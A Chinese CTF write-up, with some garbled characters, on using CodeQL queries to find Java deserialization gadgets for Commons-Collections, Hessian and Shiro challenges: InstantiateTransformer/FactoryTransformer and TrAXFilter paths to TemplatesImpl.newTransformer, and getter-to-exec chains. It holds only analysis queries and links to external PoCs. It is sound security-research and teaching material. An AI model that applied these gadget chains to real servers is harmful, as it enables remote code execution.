題目對一些類進行了過濾,很容易想到出題人就是讓我們繞過限制,過濾了如下的類,結合之前對cc鏈的掌握,我們知道cc鏈在最后代碼執(zhí)行或者命令執(zhí)行的sink就兩個地方,一個是通過反射到命令執(zhí)行,另一個是通過TrAXFilter和TemplatesImpl的配合進行代碼執(zhí)行,他這里就只是過濾了最后觸發(fā)的地方,前面反序列化到LazyMap.get()都是可以用的。
這次生成cc3.2.1數據庫我用的是如下鏈接的工具(需要注意一點是在linux上面構建數據庫的codeql版本最好和在vscode里面使用的版本一致),因為沒有安裝相應版本的jdk進行編譯,直接通過mvn構建時報錯。
https://github.com/waderwu/extractor-java
這里我選擇的是找到一個其他可以利用的點,這個點是可以觸發(fā)Constructor.newInstance的方法,具體構建查詢如下
/**
* @kind path-problem
*/
import java
class NewInstanceCall extends Call {
NewInstanceCall() {
this.getCallee().getDeclaringType() instanceof TypeConstructor and
this.getCallee().hasName("newInstance") and
not getCaller().getDeclaringType().hasName("InvokerTransformer") and
not getCaller().getDeclaringType().hasName("ChainedTransformer") and
not getCaller().getDeclaringType().hasName("ConstantTransformer") and
not getCaller().getDeclaringType().hasName("InstantiateTransformer")
}
}
class GetterCallable extends Callable {
GetterCallable() {
getName().matches("transform") and
not getDeclaringType() instanceof Interface and
fromSource() and
getNumberOfParameters() = 1 and
not getDeclaringType().hasName("InvokerTransformer") and
not getDeclaringType().hasName("ChainedTransformer") and
not getDeclaringType().hasName("ConstantTransformer") and
not getDeclaringType().hasName("InstantiateTransformer")
}
}
query predicate edges(Callable a, Callable b) { a.polyCalls(b) }
from NewInstanceCall endcall, GetterCallable entryPoint,Callable endCallAble
where endcall.getCallee() = endCallAble and
edges+(entryPoint, endCallAble)
select endcall.getCaller(), entryPoint, endcall.getCaller(), "cc finder"
最后人工篩選確定使用FactoryTransformer.transform為新的觸發(fā)點,具體poc可以參考:
https://guokeya.github.io/post/tLCxJb1Sl/
https://y4tacker.github.io/2022/04/24/year/2022/4/2022MRCTF-Java%E9%83%A8%E5%88%86/#EzJava-%E2%80%93-Bypass-Serialkiller
hfctf2022的ezchain題目考察的是:hessian反序列化鏈構造等。
題目環(huán)境:
https://github.com/waderwu/My-CTF-Challenges/tree/master/hfctf-2022/ezchain
因為這次跑CodeQL需要生成相應jdk的數據庫,所以關于數據庫的生成可以參考下面兩個鏈接:
https://old.sumsec.me/2021/08/18/CodeQL%20Create%20OpenJdk_Jdk8%20Database/
https://blog.csdn.net/mole_exp/article/details/122330521
在這個題里面的利用主要就是通過getter查找到二次反序列化點和命令執(zhí)行,但是這次沒有選用遞歸的形式,因為遞歸太慢了,不過有時間可以跑跑看還有沒有其他的點。
/**
* @kind path-problem
*/
import java
class ReadCall extends Call {
ReadCall() {
this.getCallee().getDeclaringType().hasQualifiedName("java.io", "ObjectInput") and
this.getCallee().hasName("readObject") and
this.getCallee().fromSource()
}
}
class GetterCallable extends Callable {
GetterCallable() {
getName().matches("get%") and
this.hasNoParameters() and
getName().length() > 3
}
}
query predicate edges(Callable a, Callable b) { a.polyCalls(b) }
from ReadCall endcall, GetterCallable entryPoint,Callable endCallAble
where endcall.getCallee() = endCallAble and
edges(entryPoint, endCallAble)
select endcall.getCaller(), entryPoint, endcall.getCaller(), "Getter to readObject"
但是在查詢getter到Runtime.getRuntime().exec時候,我測試了很多次發(fā)現(xiàn)都沒有辦法直接查詢到,因為從getter到命令執(zhí)行的地方是經過了java的native方法,導致失去了AccessController.doPrivileged方法的信息。
來看看在CodeQL中這一部分的數據是什么樣子吧,可以發(fā)現(xiàn)關于這部分的函數調用根本沒有解析出來。
import java
from Callable c
where c.hasName("execCmd") and
c.getDeclaringType().hasName("PrintServiceLookupProvider")
select c.getACallee()
所以我們就只好設置execCmd為終點了,這里也只掃了一層的,如果遞歸就可能要很久。
/**
* @kind path-problem
*/
import java
class ExecCall extends Call {
ExecCall() {
this.getCallee().getDeclaringType().hasQualifiedName("sun.print", "PrintServiceLookupProvider") and
this.getCallee().hasName("execCmd")
or
this.getCallee().getDeclaringType().hasQualifiedName("java.lang", "Runtime") and
this.getCallee().hasName("exec")
}
}
class GetterCallable extends Callable {
GetterCallable() {
getName().matches("get%") and
this.hasNoParameters() and
getName().length() > 3
}
}
query predicate edges(Callable a, Callable b) { a.polyCalls(b) }
from ExecCall endcall, GetterCallable entryPoint, Callable endCallAble
where
endcall.getCallee() = endCallAble and
edges(entryPoint, endCallAble)
select endcall.getCaller(), entryPoint, endcall.getCaller(), "Getter to execCmd"
2022年數字中國創(chuàng)新大賽車聯(lián)網安全賽初賽的ezcc題目考察的是:Shiro反序列化、CommonsCollections鏈、CommonsBeanutils鏈的繞過等。
題目環(huán)境:
https://www.ichunqiu.com/battalion?t=1&r=70889
題目給了附件,大概看一下就明白是Shiro反序列化的利用,但是題目過濾了一些類。
這個時候可以利用之前學習過的poc進行改造,可以清楚的看到我們只需要找到一個 InvokerTransformer的替代類即可
https://github.com/phith0n/JavaThings/blob/master/shiroattack/src/main/java/com/govuln/shiroattack/CommonsCollectionsShiro.java
其實熟悉cc鏈的應該一眼就看出來可以通過InstantiateTransformer來代替,因為在cc3和cc4中注釋里面寫的很清楚。
如果不知道這個前提的情況下我們可以怎么去思考,先看看 InvokerTransformer的作用,可以發(fā)現(xiàn)是可以通過反射執(zhí)行newTransformer的方法。
我們先看看剩下的transform里面,哪些看著比較好利用吧,直接快速查詢看看,發(fā)現(xiàn)總共就29個,挨著看看每個方法。
import java
class TransformrCallable extends Callable {
TransformrCallable() {
getName().matches("transform") and
not getDeclaringType() instanceof Interface and
fromSource() and
getNumberOfParameters() = 1 and
not getDeclaringType().hasName("InvokerTransformer") and
not getDeclaringType().hasName("ConstantTransformer")
}
}
from TransformrCallable c
select c,c.getBody(),c.getDeclaringType()
這里就列舉一下有那些看著感覺可以利用吧。
第6個會調用某些滿足條件的create()的方法:
第7個,會調用Closure類的execute方法:
第9個,會調用Factory類的create方法:
第10個的時候,發(fā)現(xiàn)我們可以實例化一個類,這就代表著我們可以觸發(fā)一些類的構造方法:
第13個,會調用Predicate類的execute方法:
在這29個里面,我們就篩選出來了5個可能存在利用的地方,首先我們的目標就是要找到一個可以調用到TemplatesImpl的newTransformer方法的地方。
我先看找到的第一個可能存在利用的地方,CloneTransformer.transform函數后續(xù)操作。
如果有目標類存在clone方法,就直接返回new PrototypeFactory.PrototypeCloneFactory后,調用create方法,否則new InstantiateFactory后調用create方法,不過這里new InstantiateFactory的參數值不完全可控,所以利用不了
接下來看看第二個點Closure.execute,因為Closure是interface,所以采用getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Closure")進行限制,得到了9個結果,但是看著感覺沒有什么好利用的。
import java
class ClosureCallable extends Callable {
ClosureCallable() {
getName().matches("execute") and
getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Closure") and
fromSource() and
getNumberOfParameters() = 1
}
}
from ClosureCallable c
select c,c.getBody(),c.getDeclaringType()
第三個點就是篩選Factory類的create方法看看有什么可以利用的。
import java
class FactoryCallable extends Callable {
FactoryCallable() {
getName().matches("create") and
getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Factory") and
fromSource() and
getNumberOfParameters() = 0
}
}
from FactoryCallable c
select c,c.getBody(),c.getDeclaringType()
發(fā)現(xiàn)結果中的第三個也是可以觸發(fā)類的構造方法,后續(xù)流程又回到了第二點后半部分的TrAXFilter類的利用了。
雖然有transient修飾,但是findConstructor又會給iConstructor進行賦值,所以這里是可以利用的。
然后我們在生成jdk數據庫里面找找有沒有那個類的構造方法可以調用到TemplatesImpl的newTransformer方法,編寫如下的查詢語句可以得到TrAXFilter的構造方法是可以觸發(fā)newTransformer,具體poc構造參考。
/**
* @kind path-problem
*/
import java
class ConMethod extends Callable{
ConMethod(){
this instanceof Constructor
}
}
class NewTransformer extends Callable{
NewTransformer(){
hasName("newTransformer") and
hasNoParameters() and
getDeclaringType().hasName("TemplatesImpl")
}
}
query predicate edges(Callable a, Callable b) { a.polyCalls(b) }
from NewTransformer endcall, ConMethod entryPoint
where edges(entryPoint, endcall)
select endcall, entryPoint, endcall, "newTransformer finder"
Java的poc構造可以參考上面ezjava題目給出的兩個鏈接。
結果中的第四個雖然有反射調用任意的方法,但是transient修飾了方法名,導致反序列化時這個值會為null,所以這里利用不了。
結果中的第六個是無參的構造方法調用,也利用不了。
第四個點也就是會新創(chuàng)建一個對象,也就會觸發(fā)構造方法,所以利用方式就可以參考第一個點的后半部分,具體poc的構造可以參考:
https://mp.weixin.qq.com/s/SVPNzPE2Vos1VVGKOwGWeA
第五個點大概看了沒有什么利用的地方。
import java
class PredicateCallable extends Callable {
PredicateCallable() {
getName().matches("evaluate") and
getDeclaringType().getASupertype*().hasQualifiedName("org.apache.commons.collections", "Predicate") and
fromSource() and
getNumberOfParameters() = 1
}
}
from PredicateCallable c
select c,c.getBody(),c.getDeclaringType()
通過CodeQL,確實可以在代碼審計中提高了審計速度和避免人工查找時因馬虎而遺漏的一些關鍵點。同學們下次打CTF時,不妨嘗試下CodeQL,看看能否更快地拿到flag。
關于CodeQL在CTF的代碼審計的應用,筆者只是淺嘗輒止,希望能通過本文,引發(fā)更多師傅對CodeQL在CTF上的更多嘗試。歡迎師傅們交流討論。
https://github.com/githubsatelliteworkshops/codeql/blob/master/java.md
https://codeql.github.com/codeql-standard-libraries/java/
https://codeql.github.com/docs/codeql-language-guides/codeql-for-java/
https://tttang.com/archive/1570/
https://tttang.com/archive/1415/
https://xz.aliyun.com/t/10707
*請認真填寫需求信息,我們會在24小時內與您取得聯(lián)系。